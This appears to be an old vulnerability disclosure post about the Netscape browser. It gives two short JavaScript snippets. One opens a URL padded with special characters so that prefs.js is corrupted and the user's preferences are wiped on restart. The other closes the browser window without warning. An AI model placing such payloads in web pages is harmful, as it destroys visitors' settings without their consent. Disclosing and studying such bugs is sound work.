I don`t know if this is already known or not.
Anyway if you put alt+0130 characters into the URL, netscape
will write it into the url history in prefs.js
example:
*<SCRIPT LANGUAGE="JavaScript"><!--Do hide from new Mo Zilla
*function oops(){
*window.open("http://somewhere.com/ ‚‚‚‚‚‚‚","_parent");
*}
*// --></SCRIPT>
would go to the specified address and will write the address in prefs.js
After you shut down netscape and start it later it will give errors like:
unterminated string literal
Default Prefences will be used.
Which means your Preference settings have gone bye bye.
And another thing thats even more weird is the fact that after a few years
of javascript and browser history...this 1 still works:
*<SCRIPT LANGUAGE="JavaScript"><!--
*function oops(){
*window.alert("Bye Bye");
*window.close();
*}
*// --></SCRIPT>
No warnings again just like the older versions it just closes.
Themag00ru
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